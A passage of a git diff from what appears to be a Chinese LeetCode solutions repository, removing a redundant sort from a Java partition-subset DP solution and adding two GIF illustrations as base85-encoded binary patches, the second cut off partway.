 create mode 100644 docs/pics/_u6590_u6CE2_u90A3_u5951_u6570_u5217.gif
 create mode 100644 docs/pics/_u7528_u4E24_u4E2A_u6808_u5B9E_.gif

diff --git a/docs/notes/Leetcode 题解.md b/docs/notes/Leetcode 题解.md
index 9310948f..25e0b079 100644
--- a/docs/notes/Leetcode 题解.md	
+++ b/docs/notes/Leetcode 题解.md	
@@ -3050,7 +3050,6 @@ public boolean canPartition(int[] nums) {
     int W = sum / 2;
     boolean[] dp = new boolean[W + 1];
     dp[0] = true;
-    Arrays.sort(nums);
     for (int num : nums) {                 // 0-1 背包一个物品只能用一次
         for (int i = W; i >= num; i--) {   // 从后往前，先计算 dp[i] 再计算 dp[i-num]
             dp[i] = dp[i] || dp[i - num];
diff --git a/docs/notes/pics/_u6590_u6CE2_u90A3_u5951_u6570_u5217.gif b/docs/notes/pics/_u6590_u6CE2_u90A3_u5951_u6570_u5217.gif
new file mode 100644
index 0000000000000000000000000000000000000000..9d9809a08f0c49ff94552294aca69aa89a132f77
GIT binary patch
literal 13312
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
Zo8Hm5;R2BTpZx!y{QsZ)|9_DG{|j;+#IXPX

literal 0
HcmV?d00001

diff --git a/docs/notes/pics/_u7528_u4E24_u4E2A_u6808_u5B9E_.gif b/docs/notes/pics/_u7528_u4E24_u4E2A_u6808_u5B9E_.gif
new file mode 100644
index 0000000000000000000000000000000000000000..dfeff15bcf2f9fdc642a4b3cf29f1ce404d3f37b
GIT binary patch
literal 20480
zcmeIa2T)Y)x~AQUCg&*0Mvx>RC>c}`B#8)uL{StZOHc$vLX#1ZAV>~P&N&Aq=O9RK
zM9CQ>XK`LX{Py;oz5g?F{xiGgOwHFtQC+Kht?qiO`nlG9Klk&>E6RzAJ<NwKLG~aJ
